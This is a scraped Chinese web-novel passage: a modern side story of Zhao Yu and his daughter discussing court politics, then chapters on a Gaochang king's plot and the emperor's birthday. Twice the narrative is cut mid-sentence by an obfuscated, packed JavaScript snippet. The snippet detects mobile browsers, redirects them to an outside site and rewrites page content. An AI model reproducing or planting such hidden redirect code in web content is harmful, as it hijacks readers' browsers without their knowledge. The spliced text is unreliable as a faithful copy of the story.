之所以大法官的人选让精英们如此感兴趣,因为这样一个看似普通的提名事件,背后有复杂的政治权力博弈。如果皇帝提名的人选通过了,那么这标志着在高层政治中,皇帝权杖的杀伤力的强悍;相反,如果无法通过,这就至少意味着各方势力的博弈使皇帝至少在目前这个阶段需要做出违背意志的妥协。 ‘权谋’,无论看得见还是看不见,都是让‘聪明人’兴奋的□□。这就像一场大型的在线阿凡达游戏,聪明人似乎在极其有限的信息池中各抒己见,就如同在现实中指点江山一般。 “亲爹,您说,……”赵格非靠近赵毓的耳朵,“六叔会提名谁?” 赵毓摇头,他剥开一个小龙虾,放在赵格非面前的小碟子中。 “会不会是‘柳阎王’?” “不会。”赵毓说,“柳大人资历雄厚,出身雍京大学宗政和翕法学院,可以执掌都察院,可惜做不了那第九位终身大法官。” “为什么?”赵格非,“柳大人做检察官的时候参与起诉了很多重大案件,其中一多半被列为经典,几乎可以说是以一己之力影响当代的司法构架建设的进程,他很强。” 赵毓,“上院那些老头子们放了话,如果柳密成为第九位终身大法官,他们就想尽一切办法断掉宗政和翕法学院所有资助奖学金项目。呃,实话,其实一些奖学金项目真的是由上院那些老头子的家族资助的,而另外一些,他们也的确拥有强悍影响力。很多品学兼优却家境普通的学生可应付不来一年10万郑币的学费,那些人一年家庭总收入不到3万,甚至还有一些学生家庭一直领社会救助金。如果那些奖学金项目真的消失,宗政和翕法学院就真的成了世袭门阀子弟的天下了,这可不是好事情。” “亲爹,那些人做这种事情,……,如此明目张胆的毁灭公平,如果找一个词来形容,应该是什么?” 赵毓,“民主。” 赵格非,“……” 赵毓,“不要忘记,上院的老头子们也是拥有维护自己利益的权利的,虽然他们看上去并不和蔼可亲,反而有些面目可憎。还有,他们的‘特权’其实也是一种公平,这是由他们的几代、甚至是十几代祖宗拼下来给儿孙的福荫。” 赵格非,“如果六叔废除财产继承权呢?” “那我们就彻底完蛋了。”赵毓说,“我觉得加了荔枝的麻小比单纯麻辣的麻小要好吃,闺女,你觉得呢?” 赵格非,“羊腰子最好吃。” 赵毓,“呃,……,你果然没少挨饿,哎。” “亲爹,为什么我们会完蛋?” “大多数人努力赚钱的目的就是为了给孩子留下一些什么。”赵毓开始撸肥瘦相间的羊肉串,“如果财产与资源无法代际传递,那么所有人都会今朝有酒今朝醉,不管明日是否洪水滔天。那么,谁还会把第一桶金的钱用来办工厂,做投资?举个栗子,古代奥斯曼帝国曾经创造出非常罕见又非常勇猛的军队,他们征招奴隶的孩子去打仗,有战功则赐予高爵厚禄,可是,这些人不被允许拥有家庭。结果这些手握大权的将军们就创造出非常有想象力和创造力的花样,不求别的,只求在自己生命结束之前,把能享受到的全部享受掉,把能毁灭的也要毁灭掉。实话,如果不是当年你娘生了你,我可能就在云中庸庸碌碌一辈子了,每天混吃等死,绝对不会做那些把脑袋别在裤腰带上,朝不保夕,刀口舔血的营生。” 他说着,还能用沾着羊油的手指玩|弄手机,使用一款加密的通信APP与文湛闲聊。 ——“承怡,可不可以帮我做一件事。” ——“陛下,为了您,我一定肝脑涂地,在所不辞。” ——“……”过了五秒,文湛发过来消息,“你怎么了?” ——“没事,刚才和格非聊天,忽然有一种万丈豪情,顿时荡气回肠,……,当然,也可能是我吃多了麻小的原因。陛下,您有什么吩咐?” ——“早些回来。” ——“呃,您让我做的事情是什么?” ——“你早些回来就好。” ——“呃,……” ——“哥哥,我有些想你。” 虽然是文字,可是赵毓依旧有些招架不住,手指一软,两个半的大羊腰子啪嗒掉到地上,辣椒孜然外面沾了一层土,当然,也可能是雾霾。 番外·现代II “亲爹,我想和你讨论一下我下一年的计划。” “好,你说。” “明年大约有六个月的时间,我需要到军校去。” “你要转学到你舅舅那个专门收留纨绔子弟,却美其名曰专门培养帝国优秀指挥官的司马缭军校?” “呃,…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728988|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”赵格非有些迟疑,“我的确需要到司马缭军校六个月,不过却不是转学。而是,……” “面来啦!” 此时,开店的老板端过来一碗牛肉汤面,上面还飘荡着两根青菜。 赵毓肚子里面塞满了羊腰子,不过这碗牛肉面依旧让他食指大动,他劈开简易筷子,先给赵格非夹出来一半面条,他自己吃剩下的。 就在他夹起来一大块牛腩的时候,就听见赵格非说,“亲爹,军校需要开一个学期的云中战略史课程,非常浅显的内容,授课的教师本来应该找尹氏九部的老将,可是那些叔伯们混得最惨的都是三星上将,实在没空也没有兴趣去司马缭上这种课,所以段恒校长就找到了我。” 赵毓把牛腩又放回去碗中,“司马缭出过一个大丑闻,现在依旧没有尘埃落定。几个初年级的学生喝醉酒对一个无家可归的流浪汉进行阉割,那些学生全部出身军方勋贵家族,柳密作为公诉人,秉承法律当然也是人道主义的精神死咬着不放,虽然将那几个学生进行扣押,并且拒绝保释,却依旧无法找到确凿证据定案。那种地方,我不太放心你去。放弃这个计划,再想个planB。” “其实,这件事吧,……”赵格非终于实话实说,“柳密托人找过我。” “他?” 赵格非,“亲爹,您说的那件事,实在让他头大。他说,如果那些犯罪的勋贵子弟无法定罪,以后这些人会依仗家族势力而愈加嚣张,很多人都不会安全。当然,这还不是最坏的结果。” 赵毓却说,“这些都是我们大人的事,你是未成年少女,你需要做的事情就是放弃这个计划,另外制定一个planB,安全,安全,安全,内容可以丰富,让你涨一些知识就好,不需要承担这么重大的责任。” 说完,他开始吃面条。 “再说,你舅在司马缭,柳密他们有任何事情,可以找他。” “找过,而且,我舅也尽力了。”赵格非,“当年外公怕他吃苦,把他送进司马缭的时候,让他选择的专业是战时营养学,这与真正的军方大佬家族聚集的军事战略和指挥官专业天差地别。我舅舅基本上就是槛外人,根本就不得其门而入。” 赵毓,“可是你一个民办中学的普通平民学生,你就到司马缭晃动六个月,讲几次什么云中无聊历史的简要课程,你又怎么能打进连你舅舅这样的正经勋贵子弟都不得其门而入的军事战略和指挥官专业小团体?” 赵格非,“我去教课的部门,就是军事战略和指挥官专业。而且,亲爹,您总是不承认,可是在别人眼中,我也是出身勋贵家族。这个资源不论从您,还是从外公那里,我都可以得到继承。” 赵毓,“段恒校长,……,这个老家伙是不是柳密在宗政和翕法学院的同门?” “呃,……,好像是。” “他们这是故意的。”赵毓端着面碗,把所有的牛肉汤都倒入嘴巴中,“你不要理睬就好。” 赵格非,“亲爹,那个未知的军方小团体中有些人如此明目张胆的支持暴|行,是不是也是对六叔的试探与挑战?” 赵毓自然知道,权力搏杀是比无法抑制这些勋贵更坏的结果。 当然,权力争夺横亘帝国历史,任何想要崭露头角的人都不能免俗的沉浸其中,而文湛就是其中的胜出的佼佼者,他是操纵政治的大师,拥有改变政府的天赋与能力。 其实,上述两项都不是最坏的结果,而最惨痛的结局就是,——直接撕毁人们对于法律的信任,这会动摇帝国法律构架根基。 “柳密有些意思。”赵毓说,“既然他想要精准打击那个小团体,为什么如此肯定,你外公不是那个小团体中的一员?” “我问过,柳大人说,因为我是您的女儿。” 赵毓将赵格非带回她祖母那里,那是一个非常美丽的园林,有小树林,小山,水域,还有白鹭和湿地。它在城市边缘,住在这里,既可以享受到市政供暖,又可以闹中取静。安顿好了家人,他才去找文湛。 如今皇帝不住在大正宫,因为这座朱墙黑瓦的千年宫殿已经成为人类文化遗产。星期一到四,早10点到下午4点,这里对公众开放一部分,收取的门票用于整个宫殿与御花园的日常维修与养护。而大正宫的真正的瑰宝,是皇室千年收藏,书画、瓷器,还有各种木雕与珠宝,这些的养护则由皇室基金支付。 文湛住在自己的私宅,一座建立在悬崖上的宫殿。 这是完全按照他自己的喜好建造的,一切看起来中规中矩,而独一无二的地方则是裸|露在悬崖边缘的巨大露台。 万丈深渊的边缘,就是这个由昆仑玉石建造的平整露台,没有栏杆。 赵毓手中拎着一瓶子红酒,在露台边缘一步一步走着,——圈套。赵格非去司马缭是一个有些过于明显的圈套,可是却不是阴谋,而是阳谋。 柳密知道,赵毓不可能放任赵格非进入这个目前内部环境异常微妙的司马缭,当然,他也不会强硬的拒绝赵格非的想法,两相下来,估计赵毓能做的事情,就是自己陪同赵格非进入军校。 柳密真正的目的,是赵毓。 脚下是江河倒悬的万丈流水,赵毓把木塞拔下来,直接扔下去。 “这样做,很不环保。” 赵毓身后忽然有声音,当然,比声音更快一步的,是一只手臂,如同烈火焚烧过的链铐一般紧紧揽住赵毓腰身。 “不要离深渊如此接近。” “可是,我们建造这个露台,不就是为了看流水吗?” 文湛将赵毓扯到安全地带,他不知道为什么自己直到现在也没有装上栏杆,可是赵毓却找到石壁上一块凸起的龙头水滴兽,坐了上去。 “晚上吃过了吗?” “带着格非吃了麻小和羊腰子,我给你打包了一盒子,一会儿让柳丛容给你重新烤烤,很香呢!” 文湛微微仰着头,看着赵毓,忽然笑了,明月冷光下,如同一首极动人的诗篇,“有你香吗?” “陛下。”赵毓微微低头,“您可以自己尝尝。” 他一下子攫住文湛的嘴,此时,皇帝方知道,赵毓已经含了一口葡萄酒,红宝石一般的颜色,流动的液体,如同鲜热的血一样甘美,一下子冲入口腔之中,赵毓的滋味丰盈了满口,极醉人。 啊。 131. 131 131 …… 我怎么会沦落到今天这般地步,与一群野狗为伍? 我曾是大郑的军人,尹氏九部的战将,纵横西疆十数年,怎么会一朝沦为囚徒烂泥,被人背弃践踏,沉冤不得昭雪,永世不得翻身? …… 雍京。 这里有着千年的繁华,也有着连千年盛世都照不进去的阴暗肮脏。 西市。 入夜。 茶楼酒楼赌坊鳞次栉比,在这其中,有一条不起眼的小胡同,幽暗,细,却深,那是一条通往尘世另外一面的入口。程风走进这里,像是走了很远,周围一直有人,不少的人,坟地上的幽魂一样安静的堆在各种低矮的窝棚或者小屋的房檐下。他抬手摘下一直罩在头上的兜帽,半张脸上疤痕狰狞纵横,却与这里出人意料的合适。 乱。 又脏又乱,带着死亡呻|吟。 还有寒意。 雍京的暮春也无法温热。 忽然,一个小丫头唱着歌,从纷乱的街道上走过。 这个小丫头的眼睛珠子是蓝色的,身上的衣服虽然朴素,却是好的棉纱,还绣着萱草与棠花;而她身边是一位老者,衣着干净,似乎是雍京上等宅门儿的管家。这里人命贱,大家却大抵都想要在死之前好好活着,如无必要,不想自己给自己找不自在,因此,这个唱着歌的小丫头与她身边的老者即使与这里格格不入,却没人上前招惹。 她唱的是亡者引魂曲。 古老的高昌歌谣。 他听过! 是她! 程风看到了她头上扎着的绒花。那是一株小小的桂树枝,丝路上过来的好货,他在西北见过。 他与那人约定好,只要跟着这个小丫头走,就好。 她是来为他带路的。 她叫什么来着? 珊,……,依? 古怪的西疆番婆子的名字,按照大郑汉文的解释,据说是‘希望’。 鬼! 只不过是一群讨饭的狗,迟早全下地狱见阎王,哪来的什么希望? 一步,两步,……,十步。前面是一排栅栏,再向前,则是一个院子。小丫头与那位老者向右边拐去。那条路向前,就是雍京的朱雀大街。 程风驻足。 眼前的院子看起来很齐整,有树,枝叶伸出墙外,遮挡着墙内的一座二层小楼,窗上垂挂着竹帘,有人向外看。吱呀一声,门打开。一个人露出一张脸。消瘦而冷硬,还有一双蓝色的眼瞳,如同坟地上的鬼火一般烧着,——洪丁,一个从西疆逃出来的人,一个未死的怨鬼。 “程先生,我们主子等候多时,里面请。” 以他对洪丁的了解,这样的人,或者说这样的鬼,不会对任何一个‘人’唯命是从,马首是瞻。可是当洪丁的主子是‘他’的时候,程风不会有任何疑惑。‘他’是高昌王族最后的血脉,是沾满了人血的修罗刀,是从尸山血海中活着爬出来的最后也是唯一的胜利者。 程风推门的时候,却莫名犹豫:——这一步走出去,生不为郑人,死不入祖坟。值吗? 此时,像是暗中的鬼怪闻到了他的犹豫,开了口。 ‘他’的声音很轻,如黄沙中的青烟转瞬即逝,却拥有极强的压迫感,似乎巍巍昆仑压于面前。 ——“有朋自远方来,先生说否?” 说话之人口音异常奇特。 不是雍京土话,不是外族番邦的怪异音调,而是纯正的雍京官话,金尊玉贵,带着金石的锋利,死亡的酷烈。 这是异族无法触摸的禁忌,它只属于雍京的世袭王侯。 程风上楼。‘他’就站在那里。一股香。来自遥远的异域,像是沙漠中升腾起来的幻境,覆盖了战场,那里埋葬着无数血肉,似乎风轻轻一吹,无边的枯骨就裸|露了出来。 人立身于窗前,透过竹帘向外看。那里,却是大正宫的方向。 此人眼睛珠子似乎昆仑坚冰雕刻而成,万年不曾消融,可是,他望着大正宫的眼光却是柔和的,有一种活人身上的温度。 只是,当那人转身,看着程风笑了几声,他身上活人的温度消失了。 “程先生,多年未见,你活着,我也活着,幸甚!” 程风摇头,“岂敢。” “程先生不必如此见外。”那人又说,“我们也算是旧相识。当年在敦煌,你我斗酒,大醉三天三夜。在我们高昌,一同醉酒的人就有过命的交情,就是兄弟。” 程风收拾心思,恭敬施礼,“今非昔比了,高昌王。” ‘他’是高昌新王,殷忘川。天下人都以为他屯重兵于大鲜卑山北麓,对大郑疆土贪婪的狼子野心似乎连长城也无法阻挡,北境战事一触即发,此时,始作俑者却暗无声息的进了雍京城。 殷忘川不再此处多纠缠,他说,“那好,我们说正事。此一步踏出,断绝身后路,程先生过来见我,必然有所觉悟。” 程风没有说话。 殷忘川,“我曾经问过一位故人,此生是否还回雍京?他当时没有回答我,只是说,已经断绝身后路,从那时开始,他的人生就只有向前走,无法回头。他当时说的轻松,我却能感知他的苦,虽然我无法感同身受。对于我这种人来说,原本就没有身后路,也无所谓回头不回头。可是对于故人,还有程先生这样的郑人,死不入祖坟,似乎比活着身受万仞凌迟之罪更苦。” “所以。” “我不强人所难。” 此时,洪丁端上来一个木盘。 汝瓷盏,碧透的绿茶。 殷忘川坐在临窗的木椅上,他端茶的姿势异常熟悉,在程风看来,像极了赵毓。 “程先生,你还有一条路。两年前,尹明扬自知丢失虎符是不赦重罪,他自己敲断一条右腿,佐以平息漠北的战功,这才向大郑皇帝乞讨了一条性命,苟延残喘。如今他人就在雍京城,你可以去找他。” “我也想知道,尹明扬那匹老狐狸能否拼上另外一条腿,自己的身家性命,来洗脱你、你死去十七位弟兄的沉冤?” “还有,……” “为你报北境统帅徐绍下令灭你程氏满门十三口的血仇?” 程风忽然问,“赵毓呢?” 殷忘川拿着茶盏的手指一停。 程风又问,“西北战事一平,他就走了,再无声息,他还活着吗?” 殷忘川,“找他做什么?指望他帮你?” “不。他老丈人尹明扬是当年威名赫赫的西北王!尹大人都做不了的事,赵毓也做不了。我不想连累他。”程风说,“高昌王,你们是故交,我只想知道,他是否还活着,他过的好不好。” 殷忘川,“活着。至于他过的怎么样,我不知道。” 程风,“你能找到他吗?” 殷忘川,“找他做什么?” 他又问了一遍。 程风,“托付我十七位兄弟的骨灰。” “程先生。”殷忘川忽然以一种极其认真的口吻说,“如果你按照我说的去做,事成之后,你一定能见到赵毓。你十七位兄弟的骨灰,你程氏十三亡灵的牌位,甚至你的身后事,尽可一并托付于他。” 程风盯着他,似乎想要从那双满是冰碴的眼珠子中找出一丝一毫的佐证。 可惜。 毫无踪迹。 程风无法判断殷忘川话语的真假。 殷忘川回身,望着远处,极目所及,是肉眼凡胎看不穿甚至看不见的大正宫。他说,“我向长生天起誓。” …… 端午。 今上千秋寿诞。 大正宫很久没有如此热闹过了。在京的文臣武将,诸王公,皇族姻亲贵戚,甚至连外邦使节等等,全部遵旨进大正宫。进宫祝寿的人满坑满谷,如果,此时站在大正宫至高的揽月台向下看,就可以看到人群密密麻麻的,特别像南城吴婆子烧饼上的层层叠叠的芝麻。 水镜台上还有戏。 一派繁华盛世气象。 赵毓压根儿就没去,他从揽月台上下来,先提着一食盒蜜瓜和葡萄是去寿春宫陪着老娘和闺女吃了顿席面,随后又陪着闺女描了几张字帖,当然,他是右手写字。他教闺女秉承‘言传身教’的信条,从来不说空话。他想要赵格非书法好,自己绝不在旁边吃酒打牌,而是尽量陪着练。 过了一会儿,赵毓有些饿了,“闺女,你吃不吃莲子绿豆沙?” “吃。” “我给你端两碗去。” “我吃一碗就够。”赵格非头也不抬,“上次回外祖家,我舅说我脸又圆了。” 赵毓,“脸圆有啥子不好?” 赵格非,“上妆的时候费茉莉香粉。那次吃饭的时候,外祖母还絮叨说,要是我娘还在,肯定不会让我脸变得这么圆。她还说咱们爷俩,居无定所,食无定量,不是圆就是瘪,实在不好。” 赵毓,“……” 赵格非,“亲爹,您还是多吃一些吧,昨晚祖母娘娘还说你瘪了。” 赵毓,“我吃的不少啊。” 赵格非,“吃的不少还清减了,亲爹,您要不要去瞧瞧大夫?” 赵毓,“不用。” 赵格非,“讳疾忌医不好。” 赵毓,“……” 临近端午,又是文湛的千秋日,他们两个来了精神,每晚胡天胡地的瞎折腾,折腾的赵毓吃多少东西都像填入无底洞。 不过这些话可不能说。 于是他打着哈哈,连忙出来。 太贵妃在外面花厅喝茶,像是刚才有客,“你饿了?宋尚宫!” 赵毓面前放了一个无色琉璃碗,里面就是莲子绿豆,另外,早有宫女给里屋的格非端了一碗过去,不用他操心。 “刚才谁来了?” “尹家三房六爷家的,如今是外命妇,可以入宫。” “有事?” “承子,你说,这碧子是咋想的?”太贵妃向前探了探身,“他怎么就一个劲儿的撮合尹家三房六爷家的女和一个前缇骑指挥使,姓什么梁的,在一块儿?他们能过的下去吗?这次,你这六伯母过来,就是说这事儿。他们家不太愿意。” 赵毓,“不愿意就不愿意,直接回了就好,没什么大不了的。” 太贵妃,“我听这尹家的,话里话外的意思是,碧子跟他们明说了,他们家最好把闺女嫁给姓梁的,是好事。可是,人家尹家也算官宦,虽然说女儿寡居另嫁,也是想要找个读书人家,不想把女嫁给那么一个人。” 赵毓,“梁十一人不错,表哥挺看得上的。不过姻缘这种事,一向都是强扭的瓜不甜,既然尹家不乐意,回了就是,老崔不会怎么样的。” 太贵妃看了看他,“你跟我说实话。尹家是不是想要把她和你撮合?” 赵毓想都不想,斩钉截铁,“没。三房六爷如今也是二品大员,我估摸着他们家想要找个有前途的寒门书生,我这样的,他们看不上。” 太贵妃舒了一口气,“那就成。” 赵毓忽然乐了,“娘,你不是总惦记着让我再续弦,如今怎么了,终于死心认命啦?” 太贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728989|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃,“咱都是普通人,哪能跟天争?我认也得认,不认也得认。我是想着,尹家也是算你的靠山,别因为这点儿破事得罪圣上,再让他惦记上。俗话说,不怕贼偷就怕贼惦记,什么时候他挖个坑,尹家栽的不明不白的,冤。” 赵毓,“这和我有个甚关系?再说,我要靠山做啥?” 太贵妃,“你还是留个心眼儿吧。他毕竟是皇帝,天威难测,如今是好,蜜里调油,以后不知道什么时候翻脸,你可就没退路了。娘在宫里这么多年,先帝也让我看了看史书,不说前朝的故事,就咱大郑这一千二百年的江山,幸佞都是个啥下场?挫骨扬灰不说,还遗臭万年。” 赵毓把自己的琉璃碗推到太贵妃面前,“娘,这碗给您喝。我让宋尚宫再给您加些糖。您喝了甜汤要是再没事儿做,就去前面水镜台去听听戏,别有事儿没事儿捣鼓个新词儿,还幸佞,你以为你道学啊!孔圣人还说唯女子与小人难养也呢!孔门不待见娘儿们,您也别上赶着了。我还有事,得先跑,格非那里您说一句。” 他连忙溜走。 身后只有太贵妃一句,——“兔崽子蹿得比贼都快!”回荡在后宫的风中。 鹧鸪殿。 赵毓躺着床榻上翘着脚。卧榻旁边缩着黄枞菖,手中捧着一个官窑的白瓷碗,薄透如纸,装着切好的蜜瓜和葡萄,上面还铺了一层蜜,闻着就香甜。他用金叉扎了,直接送到赵毓嘴巴里。 赵毓吃着吃着,忽然说,“黄瓜,我想把我娘弄出宫。” 黄枞菖吓得一哆嗦。 ——“啊!!” 他下手没准儿,金叉扎了赵毓的嘴。赵毓叫了一声,赶紧坐起来,嘴角一疼,渗出了几粒血珠子。用手一擦,血珠子如同朱砂粒一般,立于皮肤上,忽然,破了,像是某种神谕,铺满了整个手指尖。 “祖宗,我,……” 赵毓赶紧把瓷碗拿了过来,“黄瓜,你去给我拿一坛子陈酿高粱酒,我擦擦就好,不碍事。” 不知道怎么了,他就觉得自己的心跳的砰砰的,像是擂鼓一般。 他怎么忘了? 今天是端午! 端午。 又是一年的端午。 文湛的寿辰。 每一件不好的事,灾难,动|乱,大劫爆发的时辰。 今年,很安稳,不会有什么不对吧,…… 赵毓心中一直嘀咕。 掌灯,文湛从前面回来。 皇帝身着全套朝服,黑色缂丝垂地,顶着十二旒的的冕,带着一身清淡的酒气,扯过赵毓就啃,十二旒的珠子碰的稀里哗啦的,瑽瑢。 他忽然停了,疑惑的问了一句,“你嘴怎么了?” 赵毓倒打一耙,“你啃的。” 文湛,“……” 赵毓看他懵,趁机把文湛推在床榻边,让他坐好,召唤人进殿内给文湛宽衣,柳从容捧着常服,这才敢进来。 今天,文湛冕旒戴的久了一些,摘下后,额头上有一圈淡淡的红印。 赵毓让黄枞菖拿了药膏过来,给他一点点擦,“疼不疼?” 文湛,“不疼。” 赵毓,“天子十二旒。就你头上这玩意儿满是典故讲究,镶着黄金珠玉,重啊,顶的上半扇猪。今天端午,你顶了一天,辛苦了。” 文湛微微抬头,看着他。 “不过,想来你也习惯了。”赵毓继续,“老爹说过,你就是为了皇位而生的,这玩意儿压在你脑袋上,比压在别人的脑袋上让人踏实。” 文湛,“承怡。” 赵毓,“干嘛?” 文湛,“你戴上试试?” 赵毓手中给文湛擦药膏的活儿都没停,嘴巴还挺利索的。他说,“陛下,最近微臣侍寝自问还挺鞠躬尽瘁的,当年老爹那位妖妃都没这么多花样呢!您这是下了床提上裤子不认人,还是咋的?” 文湛不说话,就是看着他。 微微醉了,他的眼睛有些模糊,也有些迷离。 赵毓,“我是凡人,不碰十二旒。” “如果我死了,……”文湛,“太子登基,你摄政。” 赵毓又挖了一坨药膏,继续涂抹,“我觉得帝王内宠这种名声不太好听,可是,摄政王也不是啥正经的好营生。如果命好,遇到的小皇帝也心善,可能得个善终,不然啊,生前就扒皮了,死后更是挫骨扬灰。都不要说摄政王,你看看老爹的那位摄政,姓裴的名臣,活生生的被他老人家吓死,累死。他死不瞑目不说,裴氏还被夷了三族。我们家人丁单薄,就这么几口人,有口饭吃就成,不想再有大风浪。摄政这种事,还是拉倒吧。” 文湛忽然伸手,揽住赵毓的腰身,自己则把脸贴在他的胸口上。 静静的。 赵毓乍着两只手,让黄枞菖把手中的药膏盒子拿走,又让他用布巾把手指上的药膏擦干净,这才把两只手放在文湛的肩膀上。随后,拆掉了文湛束发的玉环,皇帝浓密如同黑缎一般的头发倾泻而下。 他用手指有一下没一下的梳着文湛的头发,“怎么了?你是遇到什么人,还是碰到什么不顺心的事了?” 半晌,文湛才说,声音有些模糊,“想起先帝,想起那些祖宗们,都活不长久,我怕,……” 赵毓,“别怕。” 手指抬起,捏了捏文湛的耳朵,酥酥的,随后,微微低头,在他的鬓角亲了一下,轻声说,“我们的好日子才刚开始,以后长久着呢!” “今天做寿是好事。” “恭贺陛下又长大一岁。” 文湛,“……” 132. 132 132 珊依想到了这个冬天,在雍京西市,她母亲魂归长生天。 她想到了赵毓。 当时,母亲重伤,躺在又脏又硬的泥土上,她就在身边。 赵毓伸出手,把她抱离。母亲濒死,手指攥住女儿的衣角,死死的攥住,手背上青筋爆出。她向前爬了爬,用尽全力看着赵毓,眼神竟然不是恨,而是一种绝望中的祈求,她微微摇头,似乎在否定什么。 赵毓用高昌语低声问了她,“想说什么?” 可是母亲无法再说话了。那时,她已经死去,手指僵硬,依旧死死的攥住女儿的衣角,那是最后一丝残念穿越了生死的界限。 ——不要,……,不要去。 珊依。 高昌语中的希望。 你是我的女儿。 你是我的希望! ——不要,……,不要去。 可是,……,我不能不去。因为,我们,没有希望。 今天端午。 大郑皇帝的寿诞。 雍京没有宵禁。 珊依站在这里,很高,正好可以看到万千繁华堆积起来的千年帝都,如此妖娆! 大正宫! 朱红色的墙,黑色的琉璃瓦。血与铁的颜色,昭示着大郑王朝千年社稷,万里江山之下的杀戮,枯骨与血泪。 人们在讴歌大郑帝王的雄才大略,不朽的伟烈丰功,用诗歌,以礼乐。那些曼妙的歌舞,丝竹之乐,如同舜帝九韶,宛如从天上流转人间。 彰显今上大德泽被苍生! 可曾有人听见,我们这些卑微的生灵与死魂发出的啜泣? …… 赵毓从床榻上坐起来,心中砰砰乱跳,外面的黄枞菖连忙进来,为他撩起来帷幕,扯了一丝光。 “什么时辰了?” “二更刚过。” 皇帝还在睡,他喝了些酒,睡的沉。 赵毓轻手轻脚爬起来,从文湛身边挪下床,“今晚雍京没宵禁,再加上圣寿千秋,外面的热闹应该到日出之前。我心里总是不踏实,思来想去,今晚唯一还算事儿的事,估摸着也就是兵部用了元承行运一批石脂水进城。应该是后半夜,我过去瞧瞧,要是一切顺利,回来再睡个踏实的回笼觉。” 黄枞菖搀着他,赵毓的双脚落地还有些颤,所幸夜里还算节制,胡闹的不过分,不然他根本站不起来,也骑不了马。 忽然,袖子的角就被一只手攥住了。 “去哪里?” 赵毓回身,文湛睁开眼睛,定定的看着他。 “你再睡一会儿。”赵毓说,轻轻将袖子从文湛手指从拿过来,却被攥着了手腕。 “去哪里?”皇帝又问了一遍。 “我,……” “我也去。”文湛说。 “可是,你还有些醉。” “我也去。”文湛是醉了,不然,不会总是一句话说两遍。 知道拗不过他,赵毓对黄枞菖说,“你去端碗醒酒汤来,还有,让人备马车,再多带上一些人。” 黄枞菖领命出去。 赵毓从床上扶起来文湛,“一起去,这下可以松开我的手腕了吧。” 文湛,“哥哥。” 赵毓,“呃,……” 文湛,“不要丢下我。” 赵毓,“……” 这个,…… 陛下,微臣都已经恭贺您又长大一岁,现在看来,这长大的一岁难道被您就着玉碎珍珠,都咽下肚子里面去了吗? 雍京西门极热闹。 今夜雍京城九门开放,是以,临近四更,街上依旧人来人往,而西城门这里则是川流不息商队,正在以此等候验路帖关防,等待进城。 西城门外有个一里坡,搭着茶棚。这里是进雍京城的最后一个落脚点,给东来西往的人们一个喝茶歇脚的地儿。 薛宣平坐在长条木凳上,手中举着马灯,看着一卷身份帖,正在给人挨个相面。 “你是元熙几年入的西北道?” “之前跟谁?” “家有几口人?几亩地?地里几头牛?” “你老婆生了几个娃?” …… 赵毓过来,挨着他坐下,“问完了吗?” “差不多了。”薛宣平说,“咱们的人没问题。” 赵毓点头,“兵部的人呢?” “兵部的人他们自己核查,应该也没什么纰漏。”薛宣平说着,合上身份帖,站起来,以雄浑的嗓门喊着一声,“大伙儿辛苦了!今天干完这一票,发花红,回家给老婆买绫罗,老婆待见,过年再给你生个大胖小子!” 薛宣平散了人,让大家原地待命,喝茶,也歇歇脚,“时辰还不到,咱们定的是五更进城。那个时候,别说着满街筒子乱折腾的闲人,就连夜猫子都睡五迷了,撒呓挣的都各回各家,各找各妈了,咱们再走,清净。” 赵毓听着他满口胡说八道,也没管,拉扯了一下文湛的袖子,自己站起来,让文湛坐在长条凳子上。 薛宣平看着他们两个,乐了,“呦,小哥儿晚上喝多了,现在还没醒。老赵,你说你,小哥儿醉了就在家里卧着好了,这大半夜的,上不着天下不着地,跑这里来受罪,你不心疼?” 赵毓还没接茬,文湛忽然开口,“今天我做寿。” 薛宣平,“做寿?” 文湛居然很认真的点头,“嗯。” 薛宣平,“你不怕天打五雷轰?” 赵毓,“胡说八道!童言无忌,大吉大利。呸!” 薛宣平,“世上哪个这么年轻就做寿?” “小哥儿,你又不是皇帝老爷子,人家是真龙天子,那是老天爷的亲儿子,命重,压得住。你这位小哥儿,年纪轻轻,过个生日,让老赵给你下锅挂面,窝个荷包蛋吃就得了。咱老百姓不兴这个,没到五十就做寿,容易惊动阎王爷,要折寿的呦。” “话赶话,老赵,今天是咱们这位皇帝老爷子的千秋,可我怎么听说,他今年才三十三?” 赵毓,“嗯,呢?” 薛宣平,“……,他老人家当年登大位的时候,才十九?” 赵毓,“不然呢?” 薛宣平,“我怎么一直觉得,他老人家是个白胡子老头儿?” 赵毓,“你还一直以为你那个相好,叫小红的那个,一直只有你一个恩客呢!” 薛宣平,“……,啥玩意儿?” 赵毓拍拍他的脖子,呃,最近薛宣平真的瘦了,这脖子嘛,也是个脖子的样子了。“别较真。逢场作戏,这种事,对于你是玩,对于人家是一家子的生计,在欢场,你要是拿出戴着一品翡翠大绿帽的架势来,可真成千古笑话了。” 薛宣平,“……” 半晌他摇头,“我就随便说了小哥儿一句,你不用这么维护吧。” 此时,兵部的人也核查完了,他们知道赵毓亲自出城,发了个人过来打个招呼。 “这么晚了还过来,辛苦辛苦。” “不辛苦,大人们才是辛苦。” “我们都是本分,赵先生才是情分。赵先生,我姓刘,在兵部混个书吏的官职,拿一份微薄的薪俸。可是再微博,也能养家糊口,再辛苦,也是职责所在。您就不同了,您才是大义!” …… 他们两个你来我往,像极了戏台子上的哼哈二将。 薛宣平乐得看热闹。 